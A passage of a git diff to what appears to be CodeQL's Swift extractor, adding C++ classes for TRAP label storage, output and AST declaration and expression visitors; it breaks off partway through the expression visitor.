   UntypedTrapLabel(uint64_t id) : id_{id} {}
 
  public:
   friend std::ostream& operator<<(std::ostream& out, UntypedTrapLabel l) {
+    // TODO: this is a temporary fix to catch us from outputting undefined labels to trap
+    // this should be moved to a validity check, probably aided by code generation and carried out
+    // by `SwiftDispatcher`
+    assert(l.id_ != undefined && "outputting an undefined label!");
     out << '#' << std::hex << l.id_ << std::dec;
     return out;
   }
@@ -27,7 +32,7 @@ class UntypedTrapLabel {
   friend bool operator==(UntypedTrapLabel lhs, UntypedTrapLabel rhs) { return lhs.id_ == rhs.id_; }
 };
 
-template <typename Tag>
+template <typename TagParam>
 class TrapLabel : public UntypedTrapLabel {
   template <typename OtherTag>
   friend class TrapLabel;
@@ -35,18 +40,17 @@ class TrapLabel : public UntypedTrapLabel {
   using UntypedTrapLabel::UntypedTrapLabel;
 
  public:
+  using Tag = TagParam;
+
   TrapLabel() = default;
 
+  // The caller is responsible for ensuring ID uniqueness.
+  static TrapLabel unsafeCreateFromExplicitId(uint64_t id) { return {id}; }
+  static TrapLabel unsafeCreateFromUntyped(UntypedTrapLabel label) { return {label.id_}; }
+
   template <typename OtherTag>
   TrapLabel(const TrapLabel<OtherTag>& other) : UntypedTrapLabel(other) {
-    // we temporarily need to bypass the label type system for unknown AST nodes and types
-    if constexpr (std::is_same_v<Tag, UnknownAstNodeTag>) {
-      static_assert(std::is_base_of_v<AstNodeTag, OtherTag>, "wrong label assignment!");
-    } else if constexpr (std::is_same_v<Tag, UnknownTypeTag>) {
-      static_assert(std::is_base_of_v<TypeTag, OtherTag>, "wrong label assignment!");
-    } else {
-      static_assert(std::is_base_of_v<Tag, OtherTag>, "wrong label assignment!");
-    }
+    static_assert(std::is_base_of_v<Tag, OtherTag>, "wrong label assignment!");
   }
 };
 
@@ -54,6 +58,11 @@ inline auto trapQuoted(const std::string& s) {
   return std::quoted(s, '"', '"');
 }
 
+template <typename Tag>
+struct Binding {
+  TrapLabel<Tag> id;
+};
+
 }  // namespace codeql
 
 namespace std {
diff --git a/swift/extractor/trap/TrapLabelStore.h b/swift/extractor/trap/TrapLabelStore.h
new file mode 100644
index 00000000000..93ca4212185
--- /dev/null
+++ b/swift/extractor/trap/TrapLabelStore.h
@@ -0,0 +1,43 @@
+#pragma once
+
+#include <variant>
+#include <cassert>
+#include <optional>
+#include <unordered_map>
+
+#include <swift/AST/ASTVisitor.h>
+
+#include "swift/extractor/trap/TrapLabel.h"
+#include "swift/extractor/trap/TrapTagTraits.h"
+#include "swift/extractor/trap/generated/TrapTags.h"
+
+namespace codeql {
+
+// The extraction is done in a lazy/on-demand fashion:
+// Each emitted TRAP entry for an AST node gets a TRAP label assigned to it.
+// To avoid re-emission, we store the "AST node <> label" entry in the TrapLabelStore.
+// The template parameters `Ts...` indicate to what entity types we restrict the storage
+template <typename... Ts>
+class TrapLabelStore {
+ public:
+  using Handle = std::variant<std::monostate, const Ts*...>;
+
+  template <typename T>
+  std::optional<TrapLabelOf<T>> get(const T* e) {
+    if (auto found = store_.find(e); found != store_.end()) {
+      return TrapLabelOf<T>::unsafeCreateFromUntyped(found->second);
+    }
+    return std::nullopt;
+  }
+
+  template <typename T>
+  void insert(const T* e, TrapLabelOf<T> l) {
+    auto [_, inserted] = store_.emplace(e, l);
+    assert(inserted && "already inserted");
+  }
+
+ private:
+  std::unordered_map<Handle, UntypedTrapLabel> store_;
+};
+
+}  // namespace codeql
diff --git a/swift/extractor/trap/TrapOutput.h b/swift/extractor/trap/TrapOutput.h
new file mode 100644
index 00000000000..4beb3df79de
--- /dev/null
+++ b/swift/extractor/trap/TrapOutput.h
@@ -0,0 +1,49 @@
+#pragma once
+
+#include <memory>
+#include "swift/extractor/trap/TrapLabel.h"
+
+namespace codeql {
+
+// Sink for trap emissions and label assignments. This abstracts away `ofstream` operations
+// like `ofstream`, an explicit bool operator is provided, that return false if something
+// went wrong
+// TODO better error handling
+class TrapOutput {
+  std::ostream& out_;
+
+ public:
+  explicit TrapOutput(std::ostream& out) : out_{out} {}
+
+  template <typename Tag>
+  void assignStar(TrapLabel<Tag> label) {
+    print(label, "=*");
+  }
+
+  template <typename Tag>
+  void assignKey(TrapLabel<Tag> label, const std::string& key) {
+    // prefix the key with the id to guarantee the same key is not used wrongly with different tags
+    auto prefixed = std::string(Tag::prefix) + '_' + key;
+    print(label, "=@", trapQuoted(prefixed));
+  }
+
+  template <typename Tag, typename... Args>
+  void assignKey(TrapLabel<Tag> label, const Args&... keyParts) {
+    std::ostringstream oss;
+    (oss << ... << keyParts);
+    assignKey(label, oss.str());
+  }
+
+  template <typename Entry>
+  void emit(const Entry& e) {
+    print(e);
+  }
+
+ private:
+  template <typename... Args>
+  void print(const Args&... args) {
+    (out_ << ... << args) << '\n';
+  }
+};
+
+}  // namespace codeql
diff --git a/swift/extractor/trap/TrapTagTraits.h b/swift/extractor/trap/TrapTagTraits.h
index 280474b5304..430f8e0cd2b 100644
--- a/swift/extractor/trap/TrapTagTraits.h
+++ b/swift/extractor/trap/TrapTagTraits.h
@@ -1,15 +1,33 @@
 #pragma once
 
+// This file defines functors that can be specialized to define a mapping from arbitrary types to
+// label tags
+
 #include <type_traits>
 
-namespace codeql::trap {
+namespace codeql {
 
+namespace detail {
+// must be instantiated for default mapping from entities to tags
 template <typename T>
 struct ToTagFunctor;
+
+// can be instantiated to override the default mapping for special cases
 template <typename T>
 struct ToTagOverride : ToTagFunctor<T> {};
 
-template <typename T>
-using ToTag = typename ToTagOverride<std::remove_const_t<T>>::type;
+// must be instantiated to map trap labels to the corresponding generated binding trap entry
+template <typename Label>
+struct ToBindingTrapFunctor;
+}  // namespace detail
 
-}  // namespace codeql::trap
+template <typename T>
+using TrapTagOf = typename detail::ToTagOverride<std::remove_const_t<T>>::type;
+
+template <typename T>
+using TrapLabelOf = TrapLabel<TrapTagOf<T>>;
+
+template <typename T>
+using BindingTrapOf = typename detail::ToBindingTrapFunctor<TrapLabelOf<T>>::type;
+
+}  // namespace codeql
diff --git a/swift/extractor/visitors/DeclVisitor.h b/swift/extractor/visitors/DeclVisitor.h
new file mode 100644
index 00000000000..b87a63ecd02
--- /dev/null
+++ b/swift/extractor/visitors/DeclVisitor.h
@@ -0,0 +1,256 @@
+#pragma once
+
+#include <swift/AST/Decl.h>
+#include <swift/AST/GenericParamList.h>
+#include <swift/AST/ParameterList.h>
+
+#include "swift/extractor/visitors/VisitorBase.h"
+
+namespace codeql {
+
+// `swift::Decl` visitor
+// public `visitXXX(swift::XXX* decl)` methods visit concrete declarations
+// private `emitXXX(swift::XXX* decl, TrapLabel<XXXTag> label)` are used to fill the properties
+// related to an abstract `XXX` entity, given the label assigned to the concrete entry
+// In general, `visitXXX/emitXXX` should call `emitYYY` with `YYY` the direct superclass of `XXX`
+// (if not `Decl` itself)
+// TODO: maybe make the above chain of calls automatic with a bit of macro metaprogramming?
+class DeclVisitor : public AstVisitorBase<DeclVisitor> {
+ public:
+  using AstVisitorBase<DeclVisitor>::AstVisitorBase;
+
+  void visitFuncDecl(swift::FuncDecl* decl) {
+    auto label = dispatcher_.assignNewLabel(decl);
+    dispatcher_.emit(ConcreteFuncDeclsTrap{label});
+    emitAbstractFunctionDecl(decl, label);
+  }
+
+  void visitConstructorDecl(swift::ConstructorDecl* decl) {
+    auto label = dispatcher_.assignNewLabel(decl);
+    dispatcher_.emit(ConstructorDeclsTrap{label});
+    emitConstructorDecl(decl, label);
+  }
+
+  void visitDestructorDecl(swift::DestructorDecl* decl) {
+    auto label = dispatcher_.assignNewLabel(decl);
+    dispatcher_.emit(DestructorDeclsTrap{label});
+    emitDestructorDecl(decl, label);
+  }
+
+  void visitPrefixOperatorDecl(swift::PrefixOperatorDecl* decl) {
+    auto label = dispatcher_.assignNewLabel(decl);
+    dispatcher_.emit(PrefixOperatorDeclsTrap{label});
+    emitOperatorDecl(decl, label);
+  }
+
+  void visitPostfixOperatorDecl(swift::PostfixOperatorDecl* decl) {
+    auto label = dispatcher_.assignNewLabel(decl);
+    dispatcher_.emit(PostfixOperatorDeclsTrap{label});
+    emitOperatorDecl(decl, label);
+  }
+
+  void visitInfixOperatorDecl(swift::InfixOperatorDecl* decl) {
+    auto label = dispatcher_.assignNewLabel(decl);
+    dispatcher_.emit(InfixOperatorDeclsTrap{label});
+    if (auto group = decl->getPrecedenceGroup()) {
+      dispatcher_.emit(InfixOperatorDeclPrecedenceGroupsTrap{label, dispatcher_.fetchLabel(group)});
+    }
+    emitOperatorDecl(decl, label);
+  }
+
+  void visitPrecedenceGroupDecl(swift::PrecedenceGroupDecl* decl) {
+    auto label = dispatcher_.assignNewLabel(decl);
+    dispatcher_.emit(PrecedenceGroupDeclsTrap{label});
+  }
+
+  void visitParamDecl(swift::ParamDecl* decl) {
+    auto label = dispatcher_.assignNewLabel(decl);
+    dispatcher_.emit(ParamDeclsTrap{label});
+    emitVarDecl(decl, label);
+  }
+
+  void visitTopLevelCodeDecl(swift::TopLevelCodeDecl* decl) {
+    auto label = dispatcher_.assignNewLabel(decl);
+    assert(decl->getBody() && "Expect top level code to have body");
+    dispatcher_.emit(TopLevelCodeDeclsTrap{label, dispatcher_.fetchLabel(decl->getBody())});
+  }
+
+  void visitPatternBindingDecl(swift::PatternBindingDecl* decl) {
+    auto label = dispatcher_.assignNewLabel(decl);
+    dispatcher_.emit(PatternBindingDeclsTrap{label});
+    for (unsigned i = 0; i < decl->getNumPatternEntries(); ++i) {
+      auto pattern = decl->getPattern(i);
+      assert(pattern && "Expect pattern binding decl to have all patterns");
+      dispatcher_.emit(PatternBindingDeclPatternsTrap{label, i, dispatcher_.fetchLabel(pattern)});
+      if (auto init = decl->getInit(i)) {
+        dispatcher_.emit(PatternBindingDeclInitsTrap{label, i, dispatcher_.fetchLabel(init)});
+      }
+    }
+  }
+
+  void visitVarDecl(swift::VarDecl* decl) {
+    auto label = dispatcher_.assignNewLabel(decl);
+    auto introducer = static_cast<uint8_t>(decl->getIntroducer());
+    dispatcher_.emit(ConcreteVarDeclsTrap{label, introducer});
+    emitVarDecl(decl, label);
+  }
+
+  void visitStructDecl(swift::StructDecl* decl) {
+    auto label = dispatcher_.assignNewLabel(decl);
+    dispatcher_.emit(StructDeclsTrap{label});
+    emitNominalTypeDecl(decl, label);
+  }
+
+  void visitClassDecl(swift::ClassDecl* decl) {
+    auto label = dispatcher_.assignNewLabel(decl);
+    dispatcher_.emit(ClassDeclsTrap{label});
+    emitNominalTypeDecl(decl, label);
+  }
+
+  void visitEnumDecl(swift::EnumDecl* decl) {
+    auto label = dispatcher_.assignNewLabel(decl);
+    dispatcher_.emit(EnumDeclsTrap{label});
+    emitNominalTypeDecl(decl, label);
+  }
+
+  void visitProtocolDecl(swift::ProtocolDecl* decl) {
+    auto label = dispatcher_.assignNewLabel(decl);
+    dispatcher_.emit(ProtocolDeclsTrap{label});
+    emitNominalTypeDecl(decl, label);
+  }
+
+  void visitEnumCaseDecl(swift::EnumCaseDecl* decl) {
+    auto label = dispatcher_.assignNewLabel(decl);
+    dispatcher_.emit(EnumCaseDeclsTrap{label});
+    auto i = 0u;
+    for (auto e : decl->getElements()) {
+      dispatcher_.emit(EnumCaseDeclElementsTrap{label, i++, dispatcher_.fetchLabel(e)});
+    }
+  }
+
+  void visitEnumElementDecl(swift::EnumElementDecl* decl) {
+    auto label = dispatcher_.assignNewLabel(decl);
+    dispatcher_.emit(EnumElementDeclsTrap{label, decl->getNameStr().str()});
+    if (decl->hasParameterList()) {
+      auto i = 0u;
+      for (auto p : *decl->getParameterList()) {
+        dispatcher_.emit(EnumElementDeclParamsTrap{label, i++, dispatcher_.fetchLabel(p)});
+      }
+    }
+  }
+
+  void visitGenericTypeParamDecl(swift::GenericTypeParamDecl* decl) {
+    auto label = dispatcher_.assignNewLabel(decl);
+    dispatcher_.emit(GenericTypeParamDeclsTrap{label});
+    emitTypeDecl(decl, label);
+  }
+
+  void visitAssociatedTypeDecl(swift::AssociatedTypeDecl* decl) {
+    auto label = dispatcher_.assignNewLabel(decl);
+    dispatcher_.emit(AssociatedTypeDeclsTrap{label});
+    emitTypeDecl(decl, label);
+  }
+
+  void visitTypeAliasDecl(swift::TypeAliasDecl* decl) {
+    auto label = dispatcher_.assignNewLabel(decl);
+    dispatcher_.emit(TypeAliasDeclsTrap{label});
+    emitTypeDecl(decl, label);
+  }
+
+ private:
+  void emitConstructorDecl(swift::ConstructorDecl* decl, TrapLabel<ConstructorDeclTag> label) {
+    emitAbstractFunctionDecl(decl, label);
+  }
+
+  void emitDestructorDecl(swift::DestructorDecl* decl, TrapLabel<DestructorDeclTag> label) {
+    emitAbstractFunctionDecl(decl, label);
+  }
+
+  void emitAbstractFunctionDecl(swift::AbstractFunctionDecl* decl,
+                                TrapLabel<AbstractFunctionDeclTag> label) {
+    assert(decl->hasName() && "Expect functions to have name");
+    assert(decl->hasParameterList() && "Expect functions to have a parameter list");
+    auto name = decl->getName().isSpecial() ? "(unnamed function decl)" : decl->getNameStr().str();
+    dispatcher_.emit(AbstractFunctionDeclsTrap{label, name});
+    if (auto body = decl->getBody()) {
+      dispatcher_.emit(AbstractFunctionDeclBodiesTrap{label, dispatcher_.fetchLabel(body)});
+    }
+    auto params = decl->getParameters();
+    for (auto i = 0u; i < params->size(); ++i) {
+      dispatcher_.emit(
+          AbstractFunctionDeclParamsTrap{label, i, dispatcher_.fetchLabel(params->get(i))});
+    }
+    emitValueDecl(decl, label);
+    emitGenericContext(decl, label);
+  }
+
+  void emitOperatorDecl(swift::OperatorDecl* decl, TrapLabel<OperatorDeclTag> label) {
+    dispatcher_.emit(OperatorDeclsTrap{label, decl->getName().str().str()});
+  }
+
+  void emitTypeDecl(swift::TypeDecl* decl, TrapLabel<TypeDeclTag> label) {
+    dispatcher_.emit(TypeDeclsTrap{label, decl->getNameStr().str()});
+    auto i = 0u;
+    for (auto& typeLoc : decl->getInherited()) {
+      auto type = typeLoc.getType();
+      if (type.isNull()) {
+        continue;
+      }
+
+      dispatcher_.emit(TypeDeclBaseTypesTrap{label, i++, dispatcher_.fetchLabel(type)});
+    }
+    emitValueDecl(decl, label);
+  }
+
+  void emitIterableDeclContext(swift::IterableDeclContext* decl,
+                               TrapLabel<IterableDeclContextTag> label) {
+    auto i = 0u;
+    for (auto& member : decl->getAllMembers()) {
+      dispatcher_.emit(IterableDeclContextMembersTrap{label, i++, dispatcher_.fetchLabel(member)});
+    }
+  }
+
+  void emitVarDecl(swift::VarDecl* decl, TrapLabel<VarDeclTag> label) {
+    auto typeLabel = dispatcher_.fetchLabel(decl->getType());
+    dispatcher_.emit(VarDeclsTrap{label, decl->getNameStr().str(), typeLabel});
+    if (auto pattern = decl->getParentPattern()) {
+      dispatcher_.emit(VarDeclParentPatternsTrap{label, dispatcher_.fetchLabel(pattern)});
+    }
+    if (auto init = decl->getParentInitializer()) {
+      dispatcher_.emit(VarDeclParentInitializersTrap{label, dispatcher_.fetchLabel(init)});
+    }
+    if (decl->hasAttachedPropertyWrapper()) {
+      if (auto propertyType = decl->getPropertyWrapperBackingPropertyType();
+          !propertyType.isNull()) {
+        dispatcher_.emit(
+            VarDeclAttachedPropertyWrapperTypesTrap{label, dispatcher_.fetchLabel(propertyType)});
+      }
+    }
+    emitValueDecl(decl, label);
+  }
+
+  void emitNominalTypeDecl(swift::NominalTypeDecl* decl, TrapLabel<NominalTypeDeclTag> label) {
+    auto typeLabel = dispatcher_.fetchLabel(decl->getDeclaredType());
+    dispatcher_.emit(NominalTypeDeclsTrap{label, typeLabel});
+    emitGenericContext(decl, label);
+    emitIterableDeclContext(decl, label);
+    emitTypeDecl(decl, label);
+  }
+
+  void emitGenericContext(const swift::GenericContext* decl, TrapLabel<GenericContextTag> label) {
+    if (auto params = decl->getGenericParams()) {
+      auto i = 0u;
+      for (auto t : *params) {
+        dispatcher_.emit(
+            GenericContextGenericTypeParamsTrap{label, i++, dispatcher_.fetchLabel(t)});
+      }
+    }
+  }
+
+  void emitValueDecl(const swift::ValueDecl* decl, TrapLabel<ValueDeclTag> label) {
+    assert(decl->getInterfaceType() && "Expect ValueDecl to have InterfaceType");
+    dispatcher_.emit(ValueDeclsTrap{label, dispatcher_.fetchLabel(decl->getInterfaceType())});
+  }
+};
+
+}  // namespace codeql
diff --git a/swift/extractor/visitors/ExprVisitor.h b/swift/extractor/visitors/ExprVisitor.h
new file mode 100644
index 00000000000..6fa5527b19a
--- /dev/null
+++ b/swift/extractor/visitors/ExprVisitor.h
@@ -0,0 +1,547 @@
+#pragma once
+
+#include "swift/extractor/visitors/VisitorBase.h"
+
+namespace codeql {
+
+class ExprVisitor : public AstVisitorBase<ExprVisitor> {
+ public:
+  using AstVisitorBase<ExprVisitor>::AstVisitorBase;
+
+  void visit(swift::Expr* expr) {
+    swift::ExprVisitor<ExprVisitor, void>::visit(expr);
+    auto label = dispatcher_.fetchLabel(expr);
+    if (auto type = expr->getType()) {
+      dispatcher_.emit(ExprTypesTrap{label, dispatcher_.fetchLabel(type)});
+    }
+  }
+
+  void visitIntegerLiteralExpr(swift::IntegerLiteralExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    auto value = (expr->isNegative() ? "-" : "") + expr->getDigitsText().str();
+    dispatcher_.emit(IntegerLiteralExprsTrap{label, value});
+  }
+
+  void visitFloatLiteralExpr(swift::FloatLiteralExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    auto value = (expr->isNegative() ? "-" : "") + expr->getDigitsText().str();
+    dispatcher_.emit(FloatLiteralExprsTrap{label, value});
+  }
+
+  void visitBooleanLiteralExpr(swift::BooleanLiteralExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(BooleanLiteralExprsTrap{label, expr->getValue()});
+  }
+
+  void visitMagicIdentifierLiteralExpr(swift::MagicIdentifierLiteralExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    auto kind = swift::MagicIdentifierLiteralExpr::getKindString(expr->getKind()).str();
+    dispatcher_.emit(MagicIdentifierLiteralExprsTrap{label, kind});
+  }
+
+  void visitStringLiteralExpr(swift::StringLiteralExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(StringLiteralExprsTrap{label, expr->getValue().str()});
+  }
+
+  void visitInterpolatedStringLiteralExpr(swift::InterpolatedStringLiteralExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(InterpolatedStringLiteralExprsTrap{label});
+    if (auto interpolation = expr->getInterpolationExpr()) {
+      auto ref = dispatcher_.fetchLabel(interpolation);
+      dispatcher_.emit(InterpolatedStringLiteralExprInterpolationExprsTrap{label, ref});
+    }
+    if (auto count = expr->getInterpolationCountExpr()) {
+      auto ref = dispatcher_.fetchLabel(count);
+      dispatcher_.emit(InterpolatedStringLiteralExprInterpolationCountExprsTrap{label, ref});
+    }
+    if (auto capacity = expr->getLiteralCapacityExpr()) {
+      auto ref = dispatcher_.fetchLabel(capacity);
+      dispatcher_.emit(InterpolatedStringLiteralExprLiteralCapacityExprsTrap{label, ref});
+    }
+    if (auto appending = expr->getAppendingExpr()) {
+      auto ref = dispatcher_.fetchLabel(appending);
+      dispatcher_.emit(InterpolatedStringLiteralExprAppendingExprsTrap{label, ref});
+    }
+  }
+
+  void visitNilLiteralExpr(swift::NilLiteralExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(NilLiteralExprsTrap{label});
+  }
+
+  void visitCallExpr(swift::CallExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(CallExprsTrap{label});
+    emitApplyExpr(expr, label);
+  }
+
+  void visitPrefixUnaryExpr(swift::PrefixUnaryExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(PrefixUnaryExprsTrap{label});
+    emitApplyExpr(expr, label);
+  }
+
+  void visitDeclRefExpr(swift::DeclRefExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(DeclRefExprsTrap{label, dispatcher_.fetchLabel(expr->getDecl())});
+    auto i = 0u;
+    for (auto t : expr->getDeclRef().getSubstitutions().getReplacementTypes()) {
+      dispatcher_.emit(DeclRefExprReplacementTypesTrap{label, i++, dispatcher_.fetchLabel(t)});
+    }
+  }
+
+  void visitAssignExpr(swift::AssignExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getDest() && "AssignExpr has Dest");
+    assert(expr->getSrc() && "AssignExpr has Src");
+    auto dest = dispatcher_.fetchLabel(expr->getDest());
+    auto src = dispatcher_.fetchLabel(expr->getSrc());
+    dispatcher_.emit(AssignExprsTrap{label, dest, src});
+  }
+
+  void visitBindOptionalExpr(swift::BindOptionalExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getSubExpr() && "BindOptionalExpr has SubExpr");
+    auto subExpr = dispatcher_.fetchLabel(expr->getSubExpr());
+    dispatcher_.emit(BindOptionalExprsTrap{label, subExpr});
+  }
+
+  void visitCaptureListExpr(swift::CaptureListExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getClosureBody() && "CaptureListExpr has ClosureBody");
+    auto closureBody = dispatcher_.fetchLabel(expr->getClosureBody());
+    dispatcher_.emit(CaptureListExprsTrap{label, closureBody});
+    unsigned index = 0;
+    for (auto& entry : expr->getCaptureList()) {
+      auto captureLabel = dispatcher_.fetchLabel(entry.PBD);
+      dispatcher_.emit(CaptureListExprBindingDeclsTrap{label, index++, captureLabel});
+    }
+  }
+
+  void visitBinaryExpr(swift::BinaryExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(BinaryExprsTrap{label});
+    emitApplyExpr(expr, label);
+  }
+
+  void visitTupleExpr(swift::TupleExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(TupleExprsTrap{label});
+    unsigned index = 0;
+    for (auto element : expr->getElements()) {
+      auto elementLabel = dispatcher_.fetchLabel(element);
+      dispatcher_.emit(TupleExprElementsTrap{label, index++, elementLabel});
+    }
+  }
+
+  void visitDefaultArgumentExpr(swift::DefaultArgumentExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getParamDecl() && "DefaultArgumentExpr has getParamDecl");
+    /// TODO: suddenly, getParamDecl is const, monkey-patching it here
+    auto paramLabel = dispatcher_.fetchLabel((swift::ParamDecl*)expr->getParamDecl());
+    dispatcher_.emit(
+        DefaultArgumentExprsTrap{label, paramLabel, static_cast<int>(expr->getParamIndex())});
+    if (expr->isCallerSide()) {
+      auto callSiteDefaultLabel = dispatcher_.fetchLabel(expr->getCallerSideDefaultExpr());
+      dispatcher_.emit(DefaultArgumentExprCallerSideDefaultsTrap{label, callSiteDefaultLabel});
+    }
+  }
+
+  void visitDotSyntaxBaseIgnoredExpr(swift::DotSyntaxBaseIgnoredExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getLHS() && "DotSyntaxBaseIgnoredExpr has LHS");
+    assert(expr->getRHS() && "DotSyntaxBaseIgnoredExpr has RHS");
+    auto lhs = dispatcher_.fetchLabel(expr->getLHS());
+    auto rhs = dispatcher_.fetchLabel(expr->getRHS());
+    dispatcher_.emit(DotSyntaxBaseIgnoredExprsTrap{label, lhs, rhs});
+  }
+
+  void visitDynamicTypeExpr(swift::DynamicTypeExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getBase() && "DynamicTypeExpr has Base");
+    auto base = dispatcher_.fetchLabel(expr->getBase());
+    dispatcher_.emit(DynamicTypeExprsTrap{label, base});
+  }
+
+  void visitEnumIsCaseExpr(swift::EnumIsCaseExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getSubExpr() && "EnumIsCaseExpr has SubExpr");
+    assert(expr->getCaseTypeRepr() && "EnumIsCaseExpr has CaseTypeRepr");
+    assert(expr->getEnumElement() && "EnumIsCaseExpr has EnumElement");
+    auto subExpr = dispatcher_.fetchLabel(expr->getSubExpr());
+    auto typeRepr = dispatcher_.fetchLabel(expr->getCaseTypeRepr());
+    auto enumElement = dispatcher_.fetchLabel(expr->getEnumElement());
+    dispatcher_.emit(EnumIsCaseExprsTrap{label, subExpr, typeRepr, enumElement});
+  }
+
+  void visitMakeTemporarilyEscapableExpr(swift::MakeTemporarilyEscapableExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getOpaqueValue() && "MakeTemporarilyEscapableExpr has OpaqueValue");
+    assert(expr->getNonescapingClosureValue() &&
+           "MakeTemporarilyEscapableExpr has NonescapingClosureValue");
+    assert(expr->getSubExpr() && "MakeTemporarilyEscapableExpr has SubExpr");
+    auto opaqueValue = dispatcher_.fetchLabel(expr->getOpaqueValue());
+    auto nonescapingClosureValue = dispatcher_.fetchLabel(expr->getNonescapingClosureValue());
+    auto subExpr = dispatcher_.fetchLabel(expr->getSubExpr());
+    dispatcher_.emit(
+        MakeTemporarilyEscapableExprsTrap{label, opaqueValue, nonescapingClosureValue, subExpr});
+  }
+
+  void visitObjCSelectorExpr(swift::ObjCSelectorExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getSubExpr() && "ObjCSelectorExpr has SubExpr");
+    assert(expr->getMethod() && "ObjCSelectorExpr has Method");
+    auto subExpr = dispatcher_.fetchLabel(expr->getSubExpr());
+    auto method = dispatcher_.fetchLabel(expr->getMethod());
+    dispatcher_.emit(ObjCSelectorExprsTrap{label, subExpr, method});
+  }
+
+  void visitOneWayExpr(swift::OneWayExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getSubExpr() && "OneWayExpr has SubExpr");
+    auto subExpr = dispatcher_.fetchLabel(expr->getSubExpr());
+    dispatcher_.emit(OneWayExprsTrap{label, subExpr});
+  }
+
+  void visitOpenExistentialExpr(swift::OpenExistentialExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getSubExpr() && "OpenExistentialExpr has SubExpr");
+    assert(expr->getExistentialValue() && "OpenExistentialExpr has ExistentialValue");
+    assert(expr->getOpaqueValue() && "OpenExistentialExpr has OpaqueValue");
+    auto subExpr = dispatcher_.fetchLabel(expr->getSubExpr());
+    auto existentialValue = dispatcher_.fetchLabel(expr->getExistentialValue());
+    auto opaqueValue = dispatcher_.fetchLabel(expr->getOpaqueValue());
+    dispatcher_.emit(OpenExistentialExprsTrap{label, subExpr, existentialValue, opaqueValue});
+  }
+
+  void visitOptionalEvaluationExpr(swift::OptionalEvaluationExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getSubExpr() && "OptionalEvaluationExpr has SubExpr");
+    auto subExpr = dispatcher_.fetchLabel(expr->getSubExpr());
+    dispatcher_.emit(OptionalEvaluationExprsTrap{label, subExpr});
+  }
+
+  void visitRebindSelfInConstructorExpr(swift::RebindSelfInConstructorExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getSubExpr() && "RebindSelfInConstructorExpr has SubExpr");
+    assert(expr->getSelf() && "RebindSelfInConstructorExpr has Self");
+    auto subExpr = dispatcher_.fetchLabel(expr->getSubExpr());
+    auto self = dispatcher_.fetchLabel(expr->getSelf());
+    dispatcher_.emit(RebindSelfInConstructorExprsTrap{label, subExpr, self});
+  }
+
+  void visitSuperRefExpr(swift::SuperRefExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getSelf() && "SuperRefExpr has Self");
+    auto self = dispatcher_.fetchLabel(expr->getSelf());
+    dispatcher_.emit(SuperRefExprsTrap{label, self});
+  }
+
+  void visitDotSyntaxCallExpr(swift::DotSyntaxCallExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(DotSyntaxCallExprsTrap{label});
+    emitSelfApplyExpr(expr, label);
+  }
+
+  void visitVarargExpansionExpr(swift::VarargExpansionExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getSubExpr() && "VarargExpansionExpr has getSubExpr()");
+
+    auto subExprLabel = dispatcher_.fetchLabel(expr->getSubExpr());
+    dispatcher_.emit(VarargExpansionExprsTrap{label, subExprLabel});
+  }
+
+  void visitArrayExpr(swift::ArrayExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(ArrayExprsTrap{label});
+    unsigned index = 0;
+    for (auto element : expr->getElements()) {
+      auto elementLabel = dispatcher_.fetchLabel(element);
+      dispatcher_.emit(ArrayExprElementsTrap{label, index++, elementLabel});
+    }
+  }
+
+  void visitErasureExpr(swift::ErasureExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(ErasureExprsTrap{label});
+    emitImplicitConversionExpr(expr, label);
+  }
+
+  void visitTypeExpr(swift::TypeExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(TypeExprsTrap{label});
+    if (auto repr = expr->getTypeRepr()) {
+      auto typeLabel = dispatcher_.fetchLabel(repr);
+      dispatcher_.emit(TypeExprTypeReprsTrap{label, typeLabel});
+    }
+  }
+
+  void visitParenExpr(swift::ParenExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(ParenExprsTrap{label});
+    emitIdentityExpr(expr, label);
+  }
+
+  void visitLoadExpr(swift::LoadExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(LoadExprsTrap{label});
+    emitImplicitConversionExpr(expr, label);
+  }
+
+  void visitInOutExpr(swift::InOutExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
